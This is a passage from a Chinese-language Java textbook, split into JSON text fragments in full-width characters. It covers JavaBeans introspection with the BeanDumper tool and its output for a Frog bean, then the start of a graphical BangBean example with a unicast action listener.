    {"text": "｝ ｐｕｂｌｉｃ ｖｏｉｄ ａｄｄＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（ ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ ｌ） ｛ ／／．．． ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｒｅｍｏｖｅＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（ ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ ｌ） ｛ ／／ ．．． ｝ ｐｕｂｌｉｃ ｖｏｉｄ ａｄｄＫｅｙＬｉｓｔｅｎｅｒ（ＫｅｙＬｉｓｔｅｎｅｒ ｌ） ｛ ／／ ．．． ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｒｅｍｏｖｅＫｅｙＬｉｓｔｅｎｅｒ（ＫｅｙＬｉｓｔｅｎｅｒ ｌ） ｛ ／／ ．．． ｝ ／／ Ａｎ ＂ｏｒｄｉｎａｒｙ＂ ｐｕｂｌｉｃ ｍｅｔｈｏｄ： ｐｕｂｌｉｃ ｖｏｉｄ ｃｒｏａｋ（） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｒｉｂｂｅｔ！"},
    {"text": "虽然内部确定的名字同最早的三个例子的属性名一样，在 ｊｕｍｐｅｒ 中我们可以看到属性名 不会强迫我们使用任何特殊的内部可变的名字（或者，真的拥有一些内部的可变的属性名）。"},
    {"text": "１ ３ ． １ ８ ． ２ 用 Ｉ ｎ ｔ ｒ ｏ ｓ ｐ ｅ ｃ ｔ ｏ ｒ 提取 Ｂ ｅ ａ ｎ Ｉ ｎ ｆ ｏ 当我们拖放一个 Ｂｅａｎ 的调色板并将它放入到窗体中时，一个 Ｂｅａｎ 的最关键的部分的规则发生了。"},
    {"text": "应用程序 构建工具必须可以创建 Ｂｅａｎ（如果它是默认的构建器的话，它就可以做）然后，在此范围外访问 Ｂｅａｎ 的源 代码，提取所有的必要的信息以创立属性表和事件处理器。"},
    {"text": "这当然是可能的，但是 Ｊａｖａ 的研制者们希望为每个使用它的用户提供一个标准的接口，而不仅仅是使 Ｂｅａｎ 更为简单易用，不过他们也同样提供了一个创建更复杂的 Ｂｅａｎ 的标准方法。"},
    {"text": "我们通过一个类处理这个方法并且 ｇｅｔＢｅａｎＩｎｆｏ（）方法 全面地对类进行查询，返回一个我们可以进行详细研究以发现其属性、方法和事件的 ＢｅａｎＩｎｆｏ 对象。"},
    {"text": "无论如何它都是一个有趣的并且是有教育意义的使用 Ｉｎｔｒｏｓｐｅｃｔｏｒ 来显示关于 Ｂｅａｎ 信息的练 ４５８ 习，好啦，闲话少说，这里有一个工具请运行它（我们可以在 ｆｏｒｇｂｅａｎ 子目录中找到它）： ／／： ＢｅａｎＤｕｍｐｅｒ．ｊａｖａ ／／ Ａ ｍｅｔｈｏｄ ｔｏ ｉｎｔｒｏｓｐｅｃｔ ａ Ｂｅａｎ ｉｍｐｏｒｔ ｊａｖａ．ｂｅａｎｓ．＊；"},
    {"text": "ｉｍｐｏｒｔ ｊａｖａ．ｌａｎｇ．ｒｅｆｌｅｃｔ．＊； ｐｕｂｌｉｃ ｃｌａｓｓ ＢｅａｎＤｕｍｐｅｒ ｛ ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｄｕｍｐ（Ｃｌａｓｓ ｂｅａｎ）｛ ＢｅａｎＩｎｆｏ ｂｉ ＝ ｎｕｌｌ； ｔｒｙ ｛ ｂｉ ＝ Ｉｎｔｒｏｓｐｅｃｔｏｒ．ｇｅｔＢｅａｎＩｎｆｏ（ ｂｅａｎ， ｊａｖａ．ｌａｎｇ．Ｏｂｊｅｃｔ．ｃｌａｓｓ）； ｝ ｃａｔｃｈ（ＩｎｔｒｏｓｐｅｃｔｉｏｎＥｘｃｅｐｔｉｏｎ ｅｘ） ｛ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｃｏｕｌｄｎ＇ｔ ｉｎｔｒｏｓｐｅｃｔ ＂ ＋ ｂｅａｎ．ｇｅｔＮａｍｅ（））； Ｓｙｓｔｅｍ．ｅｘｉｔ（１）； ｝ ＰｒｏｐｅｒｔｙＤｅｓｃｒｉｐｔｏｒ［］ ｐｒｏｐｅｒｔｉｅｓ ＝ ｂｉ．ｇｅｔＰｒｏｐｅｒｔｙＤｅｓｃｒｉｐｔｏｒｓ（）； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｐｒｏｐｅｒｔｉｅｓ．ｌｅｎｇｔｈ； ｉ＋＋） ｛ Ｃｌａｓｓ ｐ ＝ ｐｒｏｐｅｒｔｉｅｓ［ｉ］．ｇｅｔＰｒｏｐｅｒｔｙＴｙｐｅ（）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂Ｐｒｏｐｅｒｔｙ ｔｙｐｅ：＼ｎ ＂ ＋ ｐ．ｇｅｔＮａｍｅ（））； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂Ｐｒｏｐｅｒｔｙ ｎａｍｅ：＼ｎ ＂ ＋ ｐｒｏｐｅｒｔｉｅｓ［ｉ］．ｇｅｔＮａｍｅ（））； Ｍｅｔｈｏｄ ｒｅａｄＭｅｔｈｏｄ ＝ ｐｒｏｐｅｒｔｉｅｓ［ｉ］．ｇｅｔＲｅａｄＭｅｔｈｏｄ（）； ｉｆ（ｒｅａｄＭｅｔｈｏｄ ！ ＝ ｎｕｌｌ） Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂Ｒｅａｄ ｍｅｔｈｏｄ：＼ｎ ＂ ＋ ｒｅａｄＭｅｔｈｏｄ．ｔｏＳｔｒｉｎｇ（））； Ｍｅｔｈｏｄ ｗｒｉｔｅＭｅｔｈｏｄ ＝ ｐｒｏｐｅｒｔｉｅｓ［ｉ］．ｇｅｔＷｒｉｔｅＭｅｔｈｏｄ（）； ｉｆ（ｗｒｉｔｅＭｅｔｈｏｄ ！ ＝ ｎｕｌｌ） Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂Ｗｒｉｔｅ ｍｅｔｈｏｄ：＼ｎ ＂ ＋ ｗｒｉｔｅＭｅｔｈｏｄ．ｔｏＳｔｒｉｎｇ（））； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＂）； ｝ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｐｕｂｌｉｃ ｍｅｔｈｏｄｓ：＂）； ＭｅｔｈｏｄＤｅｓｃｒｉｐｔｏｒ［］ ｍｅｔｈｏｄｓ ＝ ｂｉ．ｇｅｔＭｅｔｈｏｄＤｅｓｃｒｉｐｔｏｒｓ（）； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｍｅｔｈｏｄｓ．ｌｅｎｇｔｈ； ｉ＋＋） Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ｍｅｔｈｏｄｓ［ｉ］．ｇｅｔＭｅｔｈｏｄ（）．ｔｏＳｔｒｉｎｇ（））； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＂）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｅｖｅｎｔ ｓｕｐｐｏｒｔ：＂）； ＥｖｅｎｔＳｅｔＤｅｓｃｒｉｐｔｏｒ［］ ｅｖｅｎｔｓ ＝ ｂｉ．ｇｅｔＥｖｅｎｔＳｅｔＤｅｓｃｒｉｐｔｏｒｓ（）； ｆｏｒ（ｉｎｔ ｉ ＝ ０； ｉ ＜ ｅｖｅｎｔｓ．ｌｅｎｇｔｈ； ｉ＋＋） ｛ ４５９ Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂Ｌｉｓｔｅｎｅｒ ｔｙｐｅ：＼ｎ ＂ ＋ ｅｖｅｎｔｓ［ｉ］．ｇｅｔＬｉｓｔｅｎｅｒＴｙｐｅ（）．ｇｅｔＮａｍｅ（））； Ｍｅｔｈｏｄ［］ ｌｍ ＝ ｅｖｅｎｔｓ［ｉ］．ｇｅｔＬｉｓｔｅｎｅｒＭｅｔｈｏｄｓ（）； ｆｏｒ（ｉｎｔ ｊ ＝ ０； ｊ ＜ ｌｍ．ｌｅｎｇｔｈ； ｊ＋＋） Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂Ｌｉｓｔｅｎｅｒ ｍｅｔｈｏｄ：＼ｎ ＂ ＋ ｌｍ［ｊ］．ｇｅｔＮａｍｅ（））； ＭｅｔｈｏｄＤｅｓｃｒｉｐｔｏｒ［］ ｌｍｄ ＝ ｅｖｅｎｔｓ［ｉ］．ｇｅｔＬｉｓｔｅｎｅｒＭｅｔｈｏｄＤｅｓｃｒｉｐｔｏｒｓ（）； ｆｏｒ（ｉｎｔ ｊ ＝ ０； ｊ ＜ ｌｍｄ．ｌｅｎｇｔｈ； ｊ＋＋） Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂Ｍｅｔｈｏｄ ｄｅｓｃｒｉｐｔｏｒ：＼ｎ ＂ ＋ ｌｍｄ［ｊ］．ｇｅｔＭｅｔｈｏｄ（）．ｔｏＳｔｒｉｎｇ（））； Ｍｅｔｈｏｄ ａｄｄＬｉｓｔｅｎｅｒ ＝ ｅｖｅｎｔｓ［ｉ］．ｇｅｔＡｄｄＬｉｓｔｅｎｅｒＭｅｔｈｏｄ（）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂Ａｄｄ Ｌｉｓｔｅｎｅｒ Ｍｅｔｈｏｄ：＼ｎ ＂ ＋ ａｄｄＬｉｓｔｅｎｅｒ．ｔｏＳｔｒｉｎｇ（））； Ｍｅｔｈｏｄ ｒｅｍｏｖｅＬｉｓｔｅｎｅｒ ＝ ｅｖｅｎｔｓ［ｉ］．ｇｅｔＲｅｍｏｖｅＬｉｓｔｅｎｅｒＭｅｔｈｏｄ（）； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（ ＂Ｒｅｍｏｖｅ Ｌｉｓｔｅｎｅｒ Ｍｅｔｈｏｄ：＼ｎ ＂ ＋ ｒｅｍｏｖｅＬｉｓｔｅｎｅｒ．ｔｏＳｔｒｉｎｇ（））； Ｓｙｓｔｅｍ．ｏｕｔ．ｐｒｉｎｔｌｎ（＂＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＂）； ｝ ｝ ／／ Ｄｕｍｐ ｔｈｅ ｃｌａｓｓ ｏｆ ｙｏｕｒ ｃｈｏｉｃｅ： ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ｉｆ（ａｒｇｓ．ｌｅｎｇｔｈ ＜ １） ｛ Ｓｙｓｔｅｍ．ｅｒｒ．ｐｒｉｎｔｌｎ（＂ｕｓａｇｅ： ＼ｎ＂ ＋ ＂ＢｅａｎＤｕｍｐｅｒ ｆｕｌｌｙ．ｑｕａｌｉｆｉｅｄ．ｃｌａｓｓ＂）； Ｓｙｓｔｅｍ．ｅｘｉｔ（０）； ｝ Ｃｌａｓｓ ｃ ＝ ｎｕｌｌ； ｔｒｙ ｛ ｃ ＝ Ｃｌａｓｓ．ｆｏｒＮａｍｅ（ａｒｇｓ［０］）；"},
    {"text": "｝ ｃａｔｃｈ（ＣｌａｓｓＮｏｔＦｏｕｎｄＥｘｃｅｐｔｉｏｎ ｅｘ） ｛ Ｓｙｓｔｅｍ．ｅｒｒ．ｐｒｉｎｔｌｎ（ ＂Ｃｏｕｌｄｎ＇ｔ ｆｉｎｄ ＂ ＋ ａｒｇｓ［０］）； Ｓｙｓｔｅｍ．ｅｘｉｔ（０）； ｝ ｄｕｍｐ（ｃ）； ｝ ｝ ／／／：￣ ＢｅａｎＤｕｍｐｅｒ．ｄｕｍｐ（）是一个可以做任何工作的方法。"},
    {"text": "这时，我们可以用 ｇｅｔＮａｍｅ（）方法得到每个属性 ４６０ 的假名（从方法名中提取），ｇｅｔｎａｍｅ（）方法用 ｇｅｔＲｅａｄＭｅｔｈｏｄ（）和 ｇｅｔＷｒｉｔｅＭｅｔｈｏｄ（）完成读和写的操作。"},
    {"text": "如果我们调用 ＢｅａｎＤｕｍｐｅｒ 在 Ｆｒｏｇ 类中，就像这样： ｊａｖａ ＢｅａｎＤｕｍｐｅｒ ｆｒｏｇｂｅａｎ．Ｆｒｏｇ 它的输出结果如下（已删除这儿不需要的额外细节）： ｃｌａｓｓ ｎａｍｅ： Ｆｒｏｇ Ｐｒｏｐｅｒｔｙ ｔｙｐｅ： Ｃｏｌｏｒ Ｐｒｏｐｅｒｔｙ ｎａｍｅ： ｃｏｌｏｒ Ｒｅａｄ ｍｅｔｈｏｄ： ｐｕｂｌｉｃ Ｃｏｌｏｒ ｇｅｔＣｏｌｏｒ（） Ｗｒｉｔｅ ｍｅｔｈｏｄ： ｐｕｂｌｉｃ ｖｏｉｄ ｓｅｔＣｏｌｏｒ（Ｃｏｌｏｒ） ＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝ Ｐｒｏｐｅｒｔｙ ｔｙｐｅ： Ｓｐｏｔｓ Ｐｒｏｐｅｒｔｙ ｎａｍｅ： ｓｐｏｔｓ Ｒｅａｄ ｍｅｔｈｏｄ： ｐｕｂｌｉｃ Ｓｐｏｔｓ ｇｅｔＳｐｏｔｓ（） Ｗｒｉｔｅ ｍｅｔｈｏｄ： ｐｕｂｌｉｃ ｖｏｉｄ ｓｅｔＳｐｏｔｓ（Ｓｐｏｔｓ） ＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝ Ｐｒｏｐｅｒｔｙ ｔｙｐｅ： ｂｏｏｌｅａｎ Ｐｒｏｐｅｒｔｙ ｎａｍｅ： ｊｕｍｐｅｒ Ｒｅａｄ ｍｅｔｈｏｄ： ｐｕｂｌｉｃ ｂｏｏｌｅａｎ ｉｓＪｕｍｐｅｒ（） Ｗｒｉｔｅ ｍｅｔｈｏｄ： ｐｕｂｌｉｃ ｖｏｉｄ ｓｅｔＪｕｍｐｅｒ（ｂｏｏｌｅａｎ） ＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝ Ｐｒｏｐｅｒｔｙ ｔｙｐｅ： ｉｎｔ Ｐｒｏｐｅｒｔｙ ｎａｍｅ： ｊｕｍｐｓ Ｒｅａｄ ｍｅｔｈｏｄ： ｐｕｂｌｉｃ ｉｎｔ ｇｅｔＪｕｍｐｓ（） Ｗｒｉｔｅ ｍｅｔｈｏｄ： ｐｕｂｌｉｃ ｖｏｉｄ ｓｅｔＪｕｍｐｓ（ｉｎｔ） ＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝ Ｐｕｂｌｉｃ ｍｅｔｈｏｄｓ： ｐｕｂｌｉｃ ｖｏｉｄ ｓｅｔＪｕｍｐｓ（ｉｎｔ） ｐｕｂｌｉｃ ｖｏｉｄ ｃｒｏａｋ（） ｐｕｂｌｉｃ ｖｏｉｄ ｒｅｍｏｖｅＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ） ｐｕｂｌｉｃ ｖｏｉｄ ａｄｄＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ） ４６１ ｐｕｂｌｉｃ ｉｎｔ ｇｅｔＪｕｍｐｓ（） ｐｕｂｌｉｃ ｖｏｉｄ ｓｅｔＣｏｌｏｒ（Ｃｏｌｏｒ） ｐｕｂｌｉｃ ｖｏｉｄ ｓｅｔＳｐｏｔｓ（Ｓｐｏｔｓ） ｐｕｂｌｉｃ ｖｏｉｄ ｓｅｔＪｕｍｐｅｒ（ｂｏｏｌｅａｎ） ｐｕｂｌｉｃ ｂｏｏｌｅａｎ ｉｓＪｕｍｐｅｒ（） ｐｕｂｌｉｃ ｖｏｉｄ ａｄｄＫｅｙＬｉｓｔｅｎｅｒ（ＫｅｙＬｉｓｔｅｎｅｒ） ｐｕｂｌｉｃ Ｃｏｌｏｒ ｇｅｔＣｏｌｏｒ（） ｐｕｂｌｉｃ ｖｏｉｄ ｒｅｍｏｖｅＫｅｙＬｉｓｔｅｎｅｒ（ＫｅｙＬｉｓｔｅｎｅｒ） ｐｕｂｌｉｃ Ｓｐｏｔｓ ｇｅｔＳｐｏｔｓ（） ＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝ Ｅｖｅｎｔ ｓｕｐｐｏｒｔ： Ｌｉｓｔｅｎｅｒ ｔｙｐｅ： ＫｅｙＬｉｓｔｅｎｅｒ Ｌｉｓｔｅｎｅｒ ｍｅｔｈｏｄ： ｋｅｙＴｙｐｅｄ Ｌｉｓｔｅｎｅｒ ｍｅｔｈｏｄ： ｋｅｙＰｒｅｓｓｅｄ Ｌｉｓｔｅｎｅｒ ｍｅｔｈｏｄ： ｋｅｙＲｅｌｅａｓｅｄ Ｍｅｔｈｏｄ ｄｅｓｃｒｉｐｔｏｒ： ｐｕｂｌｉｃ ｖｏｉｄ ｋｅｙＴｙｐｅｄ（ＫｅｙＥｖｅｎｔ） Ｍｅｔｈｏｄ ｄｅｓｃｒｉｐｔｏｒ： ｐｕｂｌｉｃ ｖｏｉｄ ｋｅｙＰｒｅｓｓｅｄ（ＫｅｙＥｖｅｎｔ） Ｍｅｔｈｏｄ ｄｅｓｃｒｉｐｔｏｒ： ｐｕｂｌｉｃ ｖｏｉｄ ｋｅｙＲｅｌｅａｓｅｄ（ＫｅｙＥｖｅｎｔ） Ａｄｄ Ｌｉｓｔｅｎｅｒ Ｍｅｔｈｏｄ： ｐｕｂｌｉｃ ｖｏｉｄ ａｄｄＫｅｙＬｉｓｔｅｎｅｒ（ＫｅｙＬｉｓｔｅｎｅｒ） Ｒｅｍｏｖｅ Ｌｉｓｔｅｎｅｒ Ｍｅｔｈｏｄ： ｐｕｂｌｉｃ ｖｏｉｄ ｒｅｍｏｖｅＫｅｙＬｉｓｔｅｎｅｒ（ＫｅｙＬｉｓｔｅｎｅｒ） ＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝ Ｌｉｓｔｅｎｅｒ ｔｙｐｅ： ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ Ｌｉｓｔｅｎｅｒ ｍｅｔｈｏｄ： ａｃｔｉｏｎＰｅｒｆｏｒｍｅｄ Ｍｅｔｈｏｄ ｄｅｓｃｒｉｐｔｏｒ： ｐｕｂｌｉｃ ｖｏｉｄ ａｃｔｉｏｎＰｅｒｆｏｒｍｅｄ（ＡｃｔｉｏｎＥｖｅｎｔ） Ａｄｄ Ｌｉｓｔｅｎｅｒ Ｍｅｔｈｏｄ： ｐｕｂｌｉｃ ｖｏｉｄ ａｄｄＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ） Ｒｅｍｏｖｅ Ｌｉｓｔｅｎｅｒ Ｍｅｔｈｏｄ： ｐｕｂｌｉｃ ｖｏｉｄ ｒｅｍｏｖｅＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ） ＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝＝ 这个结果揭示出了 Ｉｎｔｒｏｓｐｅｃｔｏｒ 在从我们的 Ｂｅａｎ 产生一个 ＢｅａｎＩｎｆｏ 对象时看到的大部分内容。"},
    {"text": "列表中所有的方法都是我们可以有计划的为 Ｂｅａｎ 调用，并且应用程序构建工具可以选择列出所有的方法，当我们调用方法时，减轻我们的任务。"},
    {"text": "ＢａｎｇＢｅａｎ 同样拥有它自己的 ａｄｄＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（）和 ｒｅｍｏｖｅＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（）方法，因此我们可以附上自己的当用户 单击在 ＢａｎｇＢｅａｎ 上时会被激活的接收器。"},
    {"text": "这样，我们将能够确认可支持的属性和事件： ／／： ＢａｎｇＢｅａｎ．ｊａｖａ ／／ Ａ ｇｒａｐｈｉｃａｌ Ｂｅａｎ ｐａｃｋａｇｅ ｂａｎｇｂｅａｎ；"},
    {"text": "ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．＊； ｉｍｐｏｒｔ ｊａｖａ．ａｗｔ．ｅｖｅｎｔ．＊； ｉｍｐｏｒｔ ｊａｖａ．ｉｏ．＊； ｉｍｐｏｒｔ ｊａｖａ．ｕｔｉｌ．＊； ｐｕｂｌｉｃ ｃｌａｓｓ ＢａｎｇＢｅａｎ ｅｘｔｅｎｄｓ Ｃａｎｖａｓ ｉｍｐｌｅｍｅｎｔｓ Ｓｅｒｉａｌｉｚａｂｌｅ ｛ ｐｒｏｔｅｃｔｅｄ ｉｎｔ ｘｍ， ｙｍ； ｐｒｏｔｅｃｔｅｄ ｉｎｔ ｃＳｉｚｅ ＝ ２０； ／／ Ｃｉｒｃｌｅ ｓｉｚｅ ｐｒｏｔｅｃｔｅｄ Ｓｔｒｉｎｇ ｔｅｘｔ ＝ ＂Ｂａｎｇ！"},
    {"text": "ｐｒｏｔｅｃｔｅｄ ｉｎｔ ｆｏｎｔＳｉｚｅ ＝ ４８； ｐｒｏｔｅｃｔｅｄ Ｃｏｌｏｒ ｔＣｏｌｏｒ ＝ Ｃｏｌｏｒ．ｒｅｄ； ｐｒｏｔｅｃｔｅｄ ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ ａｃｔｉｏｎＬｉｓｔｅｎｅｒ； ｐｕｂｌｉｃ ＢａｎｇＢｅａｎ（） ｛ ａｄｄＭｏｕｓｅＬｉｓｔｅｎｅｒ（ｎｅｗ ＭＬ（））； ａｄｄＭｏｕｓｅＭｏｔｉｏｎＬｉｓｔｅｎｅｒ（ｎｅｗ ＭＭＬ（））； ｝ ｐｕｂｌｉｃ ｉｎｔ ｇｅｔＣｉｒｃｌｅＳｉｚｅ（） ｛ ｒｅｔｕｒｎ ｃＳｉｚｅ； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｓｅｔＣｉｒｃｌｅＳｉｚｅ（ｉｎｔ ｎｅｗＳｉｚｅ） ｛ ｃＳｉｚｅ ＝ ｎｅｗＳｉｚｅ； ｝ ｐｕｂｌｉｃ Ｓｔｒｉｎｇ ｇｅｔＢａｎｇＴｅｘｔ（） ｛ ｒｅｔｕｒｎ ｔｅｘｔ； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｓｅｔＢａｎｇＴｅｘｔ（Ｓｔｒｉｎｇ ｎｅｗＴｅｘｔ） ｛ ｔｅｘｔ ＝ ｎｅｗＴｅｘｔ； ｝ ｐｕｂｌｉｃ ｉｎｔ ｇｅｔＦｏｎｔＳｉｚｅ（） ｛ ｒｅｔｕｒｎ ｆｏｎｔＳｉｚｅ； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｓｅｔＦｏｎｔＳｉｚｅ（ｉｎｔ ｎｅｗＳｉｚｅ） ｛ ｆｏｎｔＳｉｚｅ ＝ ｎｅｗＳｉｚｅ； ｝ ｐｕｂｌｉｃ Ｃｏｌｏｒ ｇｅｔＴｅｘｔＣｏｌｏｒ（） ｛ ｒｅｔｕｒｎ ｔＣｏｌｏｒ； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｓｅｔＴｅｘｔＣｏｌｏｒ（Ｃｏｌｏｒ ｎｅｗＣｏｌｏｒ） ｛ ｔＣｏｌｏｒ ＝ ｎｅｗＣｏｌｏｒ； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｐａｉｎｔ（Ｇｒａｐｈｉｃｓ ｇ） ｛ ｇ．ｓｅｔＣｏｌｏｒ（Ｃｏｌｏｒ．ｂｌａｃｋ）； ｇ．ｄｒａｗＯｖａｌ（ｘｍ － ｃＳｉｚｅ／２， ｙｍ － ｃＳｉｚｅ／２， ｃＳｉｚｅ， ｃＳｉｚｅ）；"},
    {"text": "｝ ／／ Ｔｈｉｓ ｉｓ ａ ｕｎｉｃａｓｔ ｌｉｓｔｅｎｅｒ， ｗｈｉｃｈ ｉｓ ／／ ｔｈｅ ｓｉｍｐｌｅｓｔ ｆｏｒｍ ｏｆ ｌｉｓｔｅｎｅｒ ｍａｎａｇｅｍｅｎｔ： ｐｕｂｌｉｃ ｖｏｉｄ ａｄｄＡｃｔｉｏｎＬｉｓｔｅｎｅｒ （ ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ ｌ） ４６３ ｔｈｒｏｗｓ ＴｏｏＭａｎｙＬｉｓｔｅｎｅｒｓＥｘｃｅｐｔｉｏｎ ｛ ｉｆ（ａｃｔｉｏｎＬｉｓｔｅｎｅｒ ！"},
    {"text": "＝ ｎｕｌｌ） ｔｈｒｏｗ ｎｅｗ ＴｏｏＭａｎｙＬｉｓｔｅｎｅｒｓＥｘｃｅｐｔｉｏｎ（）； ａｃｔｉｏｎＬｉｓｔｅｎｅｒ ＝ ｌ； ｝ ｐｕｂｌｉｃ ｖｏｉｄ ｒｅｍｏｖｅＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（ ＡｃｔｉｏｎＬｉｓｔｅｎｅｒ ｌ） ｛ ａｃｔｉｏｎＬｉｓｔｅｎｅｒ ＝ ｎｕｌｌ； ｝ ｃｌａｓｓ ＭＬ ｅｘｔｅｎｄｓ ＭｏｕｓｅＡｄａｐｔｅｒ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｍｏｕｓｅＰｒｅｓｓｅｄ（ＭｏｕｓｅＥｖｅｎｔ ｅ） ｛ Ｇｒａｐｈｉｃｓ ｇ ＝ ｇｅｔＧｒａｐｈｉｃｓ（）； ｇ．ｓｅｔＣｏｌｏｒ（ｔＣｏｌｏｒ）； ｇ．ｓｅｔＦｏｎｔ（ ｎｅｗ Ｆｏｎｔ（ ＂ＴｉｍｅｓＲｏｍａｎ＂， Ｆｏｎｔ．ＢＯＬＤ， ｆｏｎｔＳｉｚｅ））； ｉｎｔ ｗｉｄｔｈ ＝ ｇ．ｇｅｔＦｏｎｔＭｅｔｒｉｃｓ（）．ｓｔｒｉｎｇＷｉｄｔｈ（ｔｅｘｔ）； ｇ．ｄｒａｗＳｔｒｉｎｇ（ｔｅｘｔ， （ｇｅｔＳｉｚｅ（）．ｗｉｄｔｈ － ｗｉｄｔｈ） ／２， ｇｅｔＳｉｚｅ（）．ｈｅｉｇｈｔ／２）； ｇ．ｄｉｓｐｏｓｅ（）； ／／ Ｃａｌｌ ｔｈｅ ｌｉｓｔｅｎｅｒ＇ｓ ｍｅｔｈｏｄ： ｉｆ（ａｃｔｉｏｎＬｉｓｔｅｎｅｒ ！ ＝ ｎｕｌｌ） ａｃｔｉｏｎＬｉｓｔｅｎｅｒ．ａｃｔｉｏｎＰｅｒｆｏｒｍｅｄ（ ｎｅｗ ＡｃｔｉｏｎＥｖｅｎｔ（ＢａｎｇＢｅａｎ．ｔｈｉｓ， ＡｃｔｉｏｎＥｖｅｎｔ．ＡＣＴＩＯＮ＿ＰＥＲＦＯＲＭＥＤ， ｎｕｌｌ））； ｝ ｝ ｃｌａｓｓ ＭＭＬ ｅｘｔｅｎｄｓ ＭｏｕｓｅＭｏｔｉｏｎＡｄａｐｔｅｒ ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｍｏｕｓｅＭｏｖｅｄ（ＭｏｕｓｅＥｖｅｎｔ ｅ） ｛ ｘｍ ＝ ｅ．ｇｅｔＸ（）； ｙｍ ＝ ｅ．ｇｅｔＹ（）； ｒｅｐａｉｎｔ（）； ｝ ｝ ｐｕｂｌｉｃ Ｄｉｍｅｎｓｉｏｎ ｇｅｔＰｒｅｆｅｒｒｅｄＳｉｚｅ（） ｛ ｒｅｔｕｒｎ ｎｅｗ Ｄｉｍｅｎｓｉｏｎ（２００， ２００）； ｝ ／／ Ｔｅｓｔｉｎｇ ｔｈｅ ＢａｎｇＢｅａｎ： ｐｕｂｌｉｃ ｓｔａｔｉｃ ｖｏｉｄ ｍａｉｎ（Ｓｔｒｉｎｇ［］ ａｒｇｓ） ｛ ＢａｎｇＢｅａｎ ｂｂ ＝ ｎｅｗ ＢａｎｇＢｅａｎ（）； ｔｒｙ ｛ ｂｂ．ａｄｄＡｃｔｉｏｎＬｉｓｔｅｎｅｒ（ｎｅｗ ＢＢＬ（））； ｝ ｃａｔｃｈ（ＴｏｏＭａｎｙＬｉｓｔｅｎｅｒｓＥｘｃｅｐｔｉｏｎ ｅ） ｛｝ Ｆｒａｍｅ ａＦｒａｍｅ ＝ ｎｅｗ Ｆｒａｍｅ（＂ＢａｎｇＢｅａｎ Ｔｅｓｔ＂）； ａＦｒａｍｅ．ａｄｄＷｉｎｄｏｗＬｉｓｔｅｎｅｒ（ ｎｅｗ ＷｉｎｄｏｗＡｄａｐｔｅｒ（） ｛ ｐｕｂｌｉｃ ｖｏｉｄ ｗｉｎｄｏｗＣｌｏｓｉｎｇ（ＷｉｎｄｏｗＥｖｅｎｔ ｅ） ｛ Ｓｙｓｔｅｍ．ｅｘｉｔ（０）；"},
